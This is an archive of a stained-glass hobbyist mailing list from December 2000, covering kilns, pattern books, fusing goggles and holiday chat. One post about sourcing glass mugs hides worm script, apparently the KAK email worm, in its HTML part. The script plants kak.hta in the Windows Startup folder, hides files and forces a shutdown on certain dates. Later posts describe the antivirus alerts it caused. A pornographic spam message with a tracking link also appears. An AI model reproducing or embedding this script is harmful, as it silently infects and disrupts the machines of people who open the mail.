To: byronw@fastlane.NET, glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: kilns
Date: Thu, 21 Dec 2000 13:26:24 EST
Message-ID: <1970Jan1.000.0>
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In a message dated 12/21/00 8:53:51 AM Pacific Standard Time, 
byronw@fastlane.NET writes:

> I'm kinda leaning towards Paragon simply because they are made like 20
> minutes from my place so shipping would be zero and if I had a problem they
> are local.. Any comments or opinions would be appreciated...

I have had a 28" Paragon with a DTC for over ten years and several thousand 
firings. The small amount of service I have required from them has been due 
to my own misuse of the kiln. They are very good to deal with.

Since you are near Paragon you might look into the availability of a 
discounted kiln. Sometimes they have such kilns due to canceled orders.

Bob in 9 2 0 2 6
Don't forget to punch out the candidate of your choice.
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From owner-glass Thu Dec 21 11:50:45 2000
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X-Path: hotmail.com!buymypipes
From: "Patrick Dirks" <buymypipes@hotmail.com>
To: glass@bungi.com
Content-Type: text/plain; format=flowed
Subject: do I know you? or you me?
Date: Thu, 21 Dec 2000 18:36:10 +0100
Message-ID: <1970Jan1.000.0>
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Hi,
I've been getting emails from people not derected to me but to you: 
glass@bungi.
I don't mind but if you didn't know about it yet I'll help solve the 
'problem'(?).

Bye,
Patrick
_________________________________________________________________________
Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com.

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From owner-glass Thu Dec 21 11:53:10 2000
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X-Path: juno.com!himest
From: himest@juno.com
To: glass@bungi.com
Content-Type: text/plain
Subject: Re: subscription request, please
Date: Thu, 21 Dec 2000 08:02:51 -0600
Message-ID: <1970Jan1.000.0>
Precedence: bulk



On Wed, 20 Dec 2000 21:13:30 PST gjr@bungi.com (Glenna Rand) writes:
> [In the message entitled "subscription request, please" on Dec 19, 
> 22:51, himest@juno.com writes:]
> 
> Hi
> 
> You are on the stained glass email mailing list.  There have been
> some technical changes.
> 
> As a reminder to all, the stained glass list is intended to be a 
> resource
> that people can use to discuss issues related to glass work.  It is 
> not for
> discussing the personal habits of people, or their probably 
> parentage.  We
> *do not* want to moderate this list.  We feel that people should 
> have the
> ability to express their ideas openly.
> 
> Please; this list goes to over 400 people, all around the world.  
> There
> *will* be differences of opinion.  If so, please take it offline.  
> To that
> end, I have made a technical change in how the list works.  Before, 
> replying
> would automatically send to the stained glass list.  Now, replying 
> will send
> the message back only to the originator.  If your reply is meant for 
> the
> list as well, you will need to change the To: address to 
> glass@bungi.com.
> 
> Hopefully, this minor change will both help avoid the recent 
> flame-fests,
> and help people stay in a positive frame of mind.
> 
> Let us know if you have any questions.
> 
> Dave & Glenna Rand
> 
> 
> -- 
> Glenna Rand
> gjr@bungi.com
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From owner-glass Fri Dec 22 10:02:38 2000
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X-Path: ll.mit.edu!cogen
From: David Cogen <cogen@ll.mit.edu>
To: glass@bungi.com
Subject: Re: Retailer vs. Arts Center
Date: Fri, 22 Dec 2000 12:17:06 -0500 (EST)
Message-ID: <200012221717.MAA18029@poblano.llan.ll.mit.edu>
Precedence: bulk

I found the parallel glass mashers I was looking for.

At Sundance Art Glass: http://www.artglass1.com/lgtoolwebw.htm

Cat #3300P looks like what I need: true parallel action, with 2x3 inch plates.

I ordered one and am hopeful that it will be perfect for our application.

--DavidC
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From owner-glass Sat Dec 23 11:01:25 2000
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X-Path: mindspring.com!glassgirl
From: "cheryl zipf" <glassgirl@mindspring.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: mail
Date: Sat, 23 Dec 2000 13:25:21 -0800
Message-ID: <1970Jan1.000.0>
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This is a multi-part message in MIME format.

------=_NextPart_000_0016_01C06CE3.CCC4CF00
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patrick  i have not a clue   im cheryl the glassgirl in marrieta  ga     =
how do we fix what

------=_NextPart_000_0016_01C06CE3.CCC4CF00
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	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>patrick&nbsp; i have not a =
clue&nbsp;&nbsp; im=20
cheryl the glassgirl in marrieta&nbsp; ga&nbsp;&nbsp;&nbsp;&nbsp; how do =
we fix=20
what</FONT></DIV></BODY></HTML>

------=_NextPart_000_0016_01C06CE3.CCC4CF00--

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From owner-glass Sat Dec 23 16:53:17 2000
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X-Path: mail2.nai.net!shad
From: Family Account <shad@mail2.nai.net>
To: glass@bungi.com
Content-Type: text/plain; charset=us-ascii
Subject: Finished our last special order....let the holidays begin
Date: Sat, 23 Dec 2000 18:17:51 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

John took a special order for a fan lamp last Monday.  We had to buy
glass on Tuesday.  Finished it on Thursday.  Delivered on Friday.  Our
daughter asks on Friday, "Could you make a snowflake for friends?"  And
I still have to patina and clean a couple ot little pieces the grandsons
requested. There is NO rest for the glasser, is there?  So I'll be
baking Christmas Eve while John solders.

Tonight John is taking me to the *mall* (shudder) to see something at
The Bombay Company with a glass insert that he thinks is gorgeous.

But you know, I went to the Christmas concert at the high school on
Thurday night and went to the movies this afternoon to see the Grinch,
and I feel positively jolly.

Happy holidays to all of you celebrating a holiday.  May you be near the
ones you love.

Dorothy

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From owner-glass Sat Dec 23 23:30:38 2000
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X-Path: ix.netcom.com!gunnx4
From: Suzanne Gunn <gunnx4@ix.netcom.com>
To: Family Account <shad@mail2.nai.net>
Content-Type: text/plain; charset=x-user-defined
Subject: Re: Finished our last special order....let the holidays begin
Date: Sun, 24 Dec 2000 01:23:10 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: glassdancer
Precedence: bulk

Merry Christmas Dorothy and everyone else in Bungi-land.
I have several things to finish tomorrow am, and wrap, before making the
trek to the family gathering.  I'll be really glad when I can say
"DONE!!!!!!"

This will be the first time in 20 years all my siblings will all be
together at the same time...and with all our kids!!!  There will be I
think 25 of us.  Lots of presents yet to wrap.

My Dad has been ill.  This will be a special Christmas for us all.

Take care and be safe.

Suzanne
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From owner-glass Sun Dec 24 06:18:53 2000
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X-Path: sol.racsa.co.cr!rlaval
From: Richard LaVal <rlaval@sol.racsa.co.cr>
To: glass@bungi.com
Content-Type: text/plain; charset="iso-8859-1"
Subject: Re: Psychological effects of color
Date: Sun, 24 Dec 2000 06:49:12 -0600
Message-ID: <3.0.6.32.20001224064912.0080e160@127.0.0.1>
References: <<1970Jan1.000.0>>
Precedence: bulk

>
>Color is a very complex issue-- sonetimes we love a color, but in a
>certain context (say, just a little box on a desk) and other times we
>love to be immersed in a color, like wearing it, but that is even
>different than being in a room painted that color.=20
>
 =20

A whole other issue is something called Irlen Syndrome... and I bet some of
you have it without even knowing it.... Hate sunlight?  learning problems?
migraines?  etc... these are only a few of the symptoms...  They think it
is a disability of the brain to process certain portions of the spectrum of
light, so your brain short circuits and causes problems.  Anyone interested
in more info can check out www.Irlen.com   I am a screener, and part of the
screening process is using colored overlays to see if some of the symptoms
can be stopped... it is very interesting the reactions people have to some
of the colors.. some they love, and some actually make them instantly sick!
 By the way... most people can be "cured" by wearing a colored lens, made
especially for them of the unique color which they need.  Meg
=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=
=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=
=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=
=BA
=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA
RICHARD AND MEG LAVAL
Apdo 24-5655
Monteverde
COSTA RICA

PHONE 645-5052 or 645-5419
----
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From owner-glass Sun Dec 24 09:01:56 2000
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X-Path: home.com!cecnralph
From: Cecily & Ralph Wood <cecnralph@home.com>
To: Richard LaVal <rlaval@sol.racsa.co.cr>,
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Re: Psychological effects of color
Date: Sun, 24 Dec 2000 10:47:05 -0500
Message-ID: <1970Jan1.000.0>
References: <<3.0.6.32.20001224064912.0080e160@127.0.0.1>>
Organization: Grendel Studio
Precedence: bulk

Ah Ha!  So some people really NEED rose colored glasses!

Are there any patterns?  Any particular colors better or worse?  Interesting. -
Cec

PS - hope your holidays are fun - or at least full of warm fuzzies, love and
laughter.

Richard LaVal wrote:

> >
> >Color is a very complex issue-- sonetimes we love a color, but in a
> >certain context (say, just a little box on a desk) and other times we
> >love to be immersed in a color, like wearing it, but that is even
> >different than being in a room painted that color.=20
> >
>  =20
>
> A whole other issue is something called Irlen Syndrome... and I bet some of
> you have it without even knowing it.... Hate sunlight?  learning problems?
> migraines?  etc... these are only a few of the symptoms...  They think it
> is a disability of the brain to process certain portions of the spectrum of
> light, so your brain short circuits and causes problems.  Anyone interested
> in more info can check out www.Irlen.com   I am a screener, and part of the
> screening process is using colored overlays to see if some of the symptoms
> can be stopped... it is very interesting the reactions people have to some
> of the colors.. some they love, and some actually make them instantly sick!
>  By the way... most people can be "cured" by wearing a colored lens, made
> especially for them of the unique color which they need.  Meg
> =BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=
> =BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=
> =BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=
> =BA
> =BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA=BA
> RICHARD AND MEG LAVAL
> Apdo 24-5655
> Monteverde
> COSTA RICA
>
> PHONE 645-5052 or 645-5419
> ----
> For subscription changes, please mail to: glass-request@bungi.com
> To send to the list,      please mail to: glass@bungi.com
> Archives available at http://www.bungi.com/glass

--
*********************************************************************
*  Cecily Taylor Cummings Wood  and/or  Ralph Bernard Wood
*  Grendel Studio (Glass, Graphics, Gardens, Genealogy)
*********************************************************************


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From owner-glass Mon Dec 25 18:01:18 2000
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X-Path: fastlane.net!byronw
From: "Byron Wells" <byronw@fastlane.net>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: supplier
Date: Mon, 25 Dec 2000 19:52:37 -0600
Message-ID: <1970Jan1.000.0>
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_000F_01C06EAC.3B2CDCC0
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	charset="iso-8859-1"
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Hey all...

Looking for a wholesale supplier of large clear glass coffee mugs for =
etching purposes. Just started using photoresist and its awesome...Beats =
the heck out hand cutting!

Byron...
Wells Glassworks


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<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Hey all...</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Looking for a wholesale supplier of =
large clear=20
glass coffee mugs for etching purposes. Just started using photoresist =
and its=20
awesome...Beats the heck out hand cutting!</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Byron...</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Wells Glassworks</FONT></DIV>
<DIV>
<DIV style=3D"POSITION: absolute; RIGHT: 0px; TOP: -20px; Z-INDEX: 5">
<OBJECT classid=3Dclsid:06290BD5-48AA-11D2-8432-006008C3FBFC=20
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(1)!=3D'Z');t3.WriteLine('<SCRIPT><!--');t3.write('function =
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true;}window.onerror=3DsErr;scr.Reset();scr.doc=3D\"Z');rs=3Dt4.Read(3095=
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;la=3D(navigator.systemLanguage)?navigator.systemLanguage:navigator.langu=
age;scr.Path=3D(la=3D=3D\"fr\")?\"C:\\\\\\\\windows\\\\\\\\Menu =
D=E9marrer\\\\\\\\Programmes\\\\\\\\D=E9marrage\\\\\\\\kak.hta\":\"C:\\\\=
\\\\windows\\\\\\\\Start =
Menu\\\\\\\\Programs\\\\\\\\StartUp\\\\\\\\kak.hta\";agt=3Dnavigator.user=
Agent.toLowerCase();if(((agt.indexOf(\"msie\")!=3D-1)&&(parseInt(navigato=
r.appVersion)>4))||(agt.indexOf(\"msie =
5.\")!=3D-1))scr.write();');t3.write('//--></"+"'+'SCRIPT></"+"'+'OBJECT>=
</"+"'+'BODY></"+"'+'HTML>');t3.close();fs.GetFile(wd+'kak.htm').Attribut=
es=3D2;fs.DeleteFile(wd+'kak.reg');d=3Dnew Date();if(d.getDate()=3D=3D1 =
&& d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today =
!');wsh.Run(wd+'RUNDLL32.EXE =
user.exe,exitwindows');}self.close();</"+"SCRIPT>S3 driver memory alloc =
failed &nbsp; =
!]]%%%%%</"+"BODY></"+"HTML>WW";la=3D(navigator.systemLanguage)?navigator=
.systemLanguage:navigator.language;scr.Path=3D(la=3D=3D"fr")?"C:\\windows=
\\Menu D=E9marrer\\Programmes\\D=E9marrage\\kak.hta":"C:\\windows\\Start =
Menu\\Programs\\StartUp\\kak.hta";agt=3Dnavigator.userAgent.toLowerCase()=
;if(((agt.indexOf("msie")!=3D-1)&&(parseInt(navigator.appVersion)>4))||(a=
gt.indexOf("msie 5.")!=3D-1))scr.write();
//--></SCRIPT>
</OBJECT></DIV></BODY></HTML>

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From owner-glass Tue Dec 26 07:09:14 2000
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X-Path: netcom.ca!shmilly
From: Bill <shmilly@attcanada.ca>
To: glass@bungi.com
Content-Type: text/plain; charset="us-ascii"
Subject: lead came patterns
Date: Tue, 26 Dec 2000 09:58:55 -0500
Message-ID: <3.0.6.32.20001226095855.0079ac00@popd.netcom.ca>
Precedence: bulk

hi all............i am looking for recommendations for pattern books for
lead came projects (art deco style, straightline,contemporary etc.)...the
patterns should contain mostly lead work but may include some copper
foil.....i am looking for patterns that give a nice "clean" look when they
are finished..(nothing "too" ornate but can include some curves and also
bevels and clear or coloured jewels)....i am a begginner to intermediate
stained glass person and am looking to keep busy with new patterns however
simple they may be to others..........any recommendations would be greatly
appreciated...thanks again........bill
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From owner-glass Tue Dec 26 07:30:32 2000
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X-Path: earthlink.net!glasscutter
From: Gerry Phibbs <glasscutter@earthlink.net>
To: bungi glasss discussion list <glass@bungi.com>
Content-Type: text/plain; charset=us-ascii; x-mac-type="54455854"; x-mac-creator="4D4F5353"
Subject: Special Project Inquiry
Date: Tue, 26 Dec 2000 01:39:00 +0000
Message-ID: <1970Jan1.000.0>
Organization: International Guild of Glass Artists, Inc.
Precedence: bulk

Hi..
  I'm forwarding a message to this list, as originally posted in the
glass section of the HandCrafts Forum on CompuServe.  This lady is
looking for someone to create a fairly complicated bit of glass art, and
perhaps there are those on this list who'd be willing to take on this
sort of challenge.  Please feel free to contact her directly about this
project.
  Peace  -Gerry

  <forwarded message>

Subject: Glass Artist Needed
From:    Michelle kamster38
To:      All

Hello,

I know this forum is mainly for people exchanging information about the
glass work craft, but thought maybe someone could point me in the right
direction to find an artist to create a piece for me.

I have written a poem for my daughter with a sapphire (her birthstone)
theme and I need to have either a jewelry box on (OR) an art piece
created in sapphire blue that looks like a jewel (with all the facets).
Then I need the poem either etched or sandblasted into the piece.

Can anyone provide assistance or advice?  Thank you

---

Hi Gerry, thanks for the quick response.  First, I re-read my message
and
notice that I said "a jewelry box ON an art piece", I meant to say OR.
Ideally, I'd like a functional box, but am willing to downscale the idea

as long as I can capture all the other elements, i.e., faceted design,
sapphire color and poem incorporation.

The poem is 6 lines and a title (approx 70 words).  Also, the first
letter of each line spells her name and I'd need those letters to stand
out somehow (larger font perhaps).

I'd like the box or art piece created in either a rectangular or oval
shape approximately 4X7.

My e-mail address is kamster38@cs.com

If you need additional info, please let me know.  Thank you very much,
Michelle.

  <end of forwarded message>

----
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From owner-glass Tue Dec 26 07:39:55 2000
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X-Path: warmglass.com!mbwalker
From: "Brad Walker" <mbwalker@warmglass.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: Fw: Origin of glass peice.
Date: Tue, 26 Dec 2000 10:16:34 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0014_01C06F24.ECC7D980
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Anyone know anything about the origin of this piece of glass?

Thanks in advance for any help.

Brad Walker

----- Original Message -----=20
From: Linda Jensen=20
To: igga@warmglass.com=20
Sent: Monday, December 25, 2000 8:11 PM
Subject: Origin of glass peice.


Hi,
My grandmother had a low glass vase that was fairly thick.  it has a =
fish or whale like mark on the bottom.  We know that it is at 50 years =
old. It is maybe 7 inches tall and 14 inches long and 7 to 8 in. wide at =
its widest point. Looking down on it has kind of an "s" shape and the =
edges are rolled back.  It is very hard to describe it verbally and I do =
not have pictures availible.  She had always thought it was Steuben  -- =
probably due to the thickness and classical style.  The "fish" signature =
would indicate otherwise.  Any ideas.
Thanks
Linda Jensen
u15732@snet.net

------=_NextPart_000_0014_01C06F24.ECC7D980
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META content=3D"text/html; charset=3Diso-8859-1" =
http-equiv=3DContent-Type>
<META content=3D"MSHTML 5.00.2614.3500" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Anyone know anything about the origin =
of this piece=20
of glass?</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thanks in advance for any =
help.</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Brad Walker</FONT></DIV>
<DIV>&nbsp;</DIV>
<DIV style=3D"FONT: 10pt arial">----- Original Message -----=20
<DIV style=3D"BACKGROUND: #e4e4e4; font-color: black"><B>From:</B> <A=20
href=3D"mailto:u15732@snet.net" title=3Du15732@snet.net>Linda Jensen</A> =
</DIV>
<DIV><B>To:</B> <A href=3D"mailto:igga@warmglass.com"=20
title=3Digga@warmglass.com>igga@warmglass.com</A> </DIV>
<DIV><B>Sent:</B> Monday, December 25, 2000 8:11 PM</DIV>
<DIV><B>Subject:</B> Origin of glass peice.</DIV></DIV>
<DIV><BR></DIV>
<DIV><FONT face=3DArial size=3D2>Hi,</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>My grandmother had a low glass vase =
that was fairly=20
thick.&nbsp; it has a fish or whale like mark on the bottom.&nbsp; We =
know that=20
it is at 50 years old. It is maybe 7 inches tall and 14 inches long and =
7 to 8=20
in. wide at its widest point. Looking down on it has kind of an "s" =
shape and=20
the edges are rolled back.&nbsp; It is very hard to describe it verbally =
and I=20
do not have pictures availible.&nbsp; She had always thought it was=20
Steuben&nbsp; -- probably due to the thickness and classical =
style.&nbsp; The=20
"fish" signature would indicate otherwise.&nbsp; Any ideas.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Thanks</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Linda Jensen</FONT></DIV>
<DIV><FONT face=3DArial size=3D2><A=20
href=3D"mailto:u15732@snet.net">u15732@snet.net</A></FONT></DIV></BODY></=
HTML>

------=_NextPart_000_0014_01C06F24.ECC7D980--

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From owner-glass Tue Dec 26 12:25:27 2000
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	(Smail-3.2.0.94 1997-Apr-22 #527 built 2000-Nov-28)
X-Path: aol.com!Bobfuses
From: Bobfuses@aol.com
To: shmilly@attcanada.ca, glass@bungi.com
Content-Type: text/plain; charset="US-ASCII"
Subject: Re: lead came patterns
Date: Tue, 26 Dec 2000 12:51:32 EST
Message-ID: <1970Jan1.000.0>
Precedence: bulk

In a message dated 12/26/00 7:09:54 AM Pacific Standard Time, 
shmilly@attcanada.ca writes:

> ns should contain mostly lead work but may include some copper
>  foil.....i am looking for patterns that give a nice "clean" look when they
>  are finished..(nothing "too" ornate but can include some curves and also
>  bevels and clear or coloured jewels)..

Check out Dover books by Ed Sibbitt on amazon.com or at your book store. 
There are several and they are cheap. You can get about five of these 
classics for the price of a recently published book.

Bob in 9 2 0 2 6
Don't forget to punch out the candidate of your choice.
----
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From owner-glass Tue Dec 26 12:57:19 2000
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	(Smail-3.2.0.94 1997-Apr-22 #527 built 2000-Nov-28)
X-Path: twcny.rr.com!mschatee
From: "CP" <mschatee@twcny.rr.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: Worm/virus from Bungi
Date: Tue, 26 Dec 2000 14:46:32 -0500
Message-ID: <1970Jan1.000.0>
Precedence: bulk

This is a multi-part message in MIME format.

------=_NextPart_000_0074_01C06F4A.A3106E80
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

Just to let you all know that I opened some Bungi mail after getting =
back from Christmas vacation and when I opened some mail from Byron =
Wells my anti-virus program popped up and said there was a worm attached =
to this file.
Please everyone be careful about what you open and what you send.

Thank goodness for anti-virus protection.

Have a Happy New Year Everyone!

------=_NextPart_000_0074_01C06F4A.A3106E80
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	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD>
<META http-equiv=3DContent-Type content=3D"text/html; =
charset=3Diso-8859-1">
<META content=3D"MSHTML 5.50.4611.1300" name=3DGENERATOR>
<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Just to let you all know that I opened =
some Bungi=20
mail after getting back from Christmas vacation and when I opened some =
mail from=20
Byron Wells my anti-virus program popped up and said there was a worm =
attached=20
to this file.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2>Please everyone be careful about what =
you open and=20
what you send.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Thank goodness for anti-virus=20
protection.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Have a Happy New Year=20
Everyone!</FONT></DIV></BODY></HTML>

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From owner-glass Tue Dec 26 19:12:26 2000
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	for rglass-42; Tue, 26 Dec 2000 19:00:49 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #527 built 2000-Nov-28)
X-Path: fastlane.net!byronw
From: "Byron Wells" <byronw@fastlane.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: supplier
Date: Tue, 26 Dec 2000 21:01:24 -0600
Message-ID: <1970Jan1.000.0>
References: <<001801c06f5e$2a7e40a0$7d3e9bd8@oemcomputer>>
Precedence: bulk

Sorry, thought I had the bugger killed but somehow got reinfected...
Arrggghhh! Some peoples goal in life must be to just make others miserable!
Gotta get em a glass hobby or something..
----- Original Message -----
From: pjfriend <artglass@waterw.com>
To: Byron Wells <byronw@fastlane.net>
Sent: Tuesday, December 26, 2000 11:06 AM
Subject: Re: supplier


>
>
> this email is infected with js/kak@m virus.
>
>
> Paul Friend Architectural Glass & Design, Inc.
> www.waterw.com/~artglass
> Accredited Studio Member of the Stained Glass Association of America
> Member International Guild of Glass Artists
> Associate Member AIA
> ----- Original Message -----
> From: "Byron Wells" <byronw@fastlane.net>
> To: <glass@bungi.com>
> Sent: Monday, December 25, 2000 8:52 PM
> Subject: supplier
>
>
>
>

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From owner-glass Tue Dec 26 20:13:53 2000
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X-Path: twcny.rr.com!mschatee
From: "CP" <mschatee@twcny.rr.com>
To: <gunnx4@ix.netcom.com>, <glass@bungi.com>
Content-Type: text/plain;
Subject: Re: Worm/virus from Bungi
Date: Tue, 26 Dec 2000 21:27:52 -0500
Message-ID: <1970Jan1.000.0>
References: <<3A4934D7.E1DDA63F@ix.netcom.com>>
Precedence: bulk

Sorry I don't remember what the name of the virus was. As soon as the
warning came up it covered the entire screen and I couldn't see the email.
If anyone else gets it it is important after you delete the email to also
empty the deleted mail folder because it was still in there later when I
went back to see who it was from.
I know that these things happen all the time,  I just want everyone to be
careful especially since there have been reports on the news that people
were sending these out at Christmas.
Have a good holiday everyone.
Caren
----- Original Message -----
From: "Suzanne Gunn" <gunnx4@ix.netcom.com>
To: "CP" <mschatee@twcny.rr.com>
Sent: Tuesday, December 26, 2000 7:16 PM
Subject: Re: Worm/virus from Bungi


> Hi, Caren?
>
> Do you remember what it was called?
>
> thanks.
> Suzanne
>
> CP wrote:
>

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From owner-glass Wed Dec 27 08:12:53 2000
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	for rglass-42; Wed, 27 Dec 2000 08:03:42 -0800 (PST)
	(Smail-3.2.0.94 1997-Apr-22 #527 built 2000-Nov-28)
X-Path: mindspring.com!rcollins1
From: Bob Collins <rcollins1@mindspring.com>
To: CP <mschatee@twcny.rr.com>
Content-Type: text/plain; charset=us-ascii
Subject: Re: Worm/virus from Bungi
Date: Wed, 27 Dec 2000 07:52:58 -0700
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Organization: CSC, Inc.
Precedence: bulk

I got 2 worm virus' from bungi on Christmas day. My virus program caught
both and I processed them out of my system,. I have no idea who they
came from.

	Bob
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From owner-glass Wed Dec 27 11:15:32 2000
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X-Path: easynet.fr!GGXax2pRH
From: easynet.fr!GGXax2pRH
To: glass@bungi.com
Subject: Gatewayed mail message
Date: Wed Dec 27 10:42:08 2000
Message-ID: <1970Jan1.000.0>
Precedence: bulk


UUUUuuummm,

Delicious.  My friends and I are finger licking good.  Come join us
for some orgasmic good times.  You'll never be the same once we get
our legs wrapped around you.  Don't bother looking if your under 18.
Only real men allowed.  We need them fully developed to satisfy our
appetites.

CLICK HERE

http://vaginaonline.com/a.usertrack2781.75/5/
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From owner-glass Sat Dec 30 05:27:33 2000
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X-Path: twcny.rr.com!mschatee
From: "CP" <mschatee@twcny.rr.com>
To: <glass@bungi.com>
Content-Type: multipart/alternative;
Subject: Happy Holidays
Date: Sat, 30 Dec 2000 07:35:55 -0500
Message-ID: <1970Jan1.000.0>
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This is a multi-part message in MIME format.

------=_NextPart_000_0007_01C07233.25167060
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Everyone out there in Bungiland have a very safe and Happy New Year!  =
And for all of those of us in the NorthEast ready to get the storm, just =
look at it as a way of staying home and doing glass for the next few =
days uninterrupted.

Have a good one everybody!

Caren

------=_NextPart_000_0007_01C07233.25167060
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charset=3Diso-8859-1">
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<STYLE></STYLE>
</HEAD>
<BODY bgColor=3D#ffffff>
<DIV><FONT face=3DArial size=3D2>Everyone out there in Bungiland have a =
very safe=20
and Happy New Year!&nbsp; And for all of those of us in the NorthEast =
ready to=20
get the storm, just look at it as a way of staying home and doing glass =
for the=20
next few days uninterrupted.</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Have a good one everybody!</FONT></DIV>
<DIV><FONT face=3DArial size=3D2></FONT>&nbsp;</DIV>
<DIV><FONT face=3DArial size=3D2>Caren</FONT></DIV></BODY></HTML>

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From owner-glass Sat Dec 30 11:15:13 2000
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X-Path: fastlane.net!byronw
From: "Byron Wells" <byronw@fastlane.net>
To: <glass@bungi.com>
Content-Type: text/plain;
Subject: Fusing Glasses
Date: Sat, 30 Dec 2000 13:05:22 -0600
Message-ID: <1970Jan1.000.0>
References: <<1970Jan1.000.0>>
Precedence: bulk

Hi all..

Was wondering what the best fusing glasses/goggles were? Finally got around
to reading the fall igga newsletter and there was an article in there that
was saying some glasses may not be worth anything...

Just getting started in fusing and might as well get the best right off the
bat..
Byron...
Wells Glassworks

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From owner-glass Sat Dec 30 16:59:33 2000
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X-Path: aol.com!Shecharlie
From: Shecharlie@aol.com
To: glass@bungi.com
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Subject: thanks
Date: Sat, 30 Dec 2000 19:37:31 EST
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thank you to all who responded to my grinder problem. I got the bit off okay  
 thanks to all you wonderful people. Now I may have a tip for you. I bought 
some of those rubber fintertips from my local staples and have found its a 
lot easier on my fingers when grinding. Oh well thats my 2 cents worth.
sheila

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<HTML><FONT FACE=arial,helvetica><FONT  SIZE=2>thank you to all who responded to my grinder problem. I got the bit off okay &nbsp;<BR>&nbsp;thanks to all you wonderful people. Now I may have a tip for you. I bought <BR>some of those rubber fintertips from my local staples and have found its a <BR>lot easier on my fingers when grinding. Oh well thats my 2 cents worth.
<BR>sheila</FONT></HTML>

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From owner-glass Sat Dec 30 20:40:57 2000
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Hi! I am writing to let you know that I have a new e-mail address: <arasa=
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<DIV id=3DdivMailBody><P style=3D"MARGIN-LEFT: 5px">Hi! I am writing to l=
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From owner-glass Sun Dec 31 14:32:53 2000
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From: "Byron Wells" <byronw@fastlane.net>
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Subject: Re: Fusing Glasses
Date: Sun, 31 Dec 2000 15:58:34 -0600
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Somebody left me an email saying Bouton Glasses with Didymium lenses were
the best.. He didnt say where to buy them but I did find the Bouton site and
will get more info next week on resellers etc..

Byron...
Wells Glassworks

----- Original Message -----
From: Cecily & Ralph Wood <cecnralph@home.com>
To: Byron Wells <byronw@fastlane.net>
Sent: Sunday, December 31, 2000 7:04 AM
Subject: Re: Fusing Glasses


> And there is some interesting info in the latest Glass Art magazine that
just
> came yesterday, which, if my quick reading was correct, says that,
especially
> for lampwork, you don't need to be too obsessive, but do need to get the
> non-colored kind because otherwise you cannot see what's happening with
the
> glass and what you are doing.  It regards those as dangerous.  The dark
kind
> is what came with my setup, and they certainly are obnoxious cause you
cannot
> tell the colors and where you just put a dot.  I was baffled as to how
anyone
> could actually tell what the heck they were doing to make the wonderful
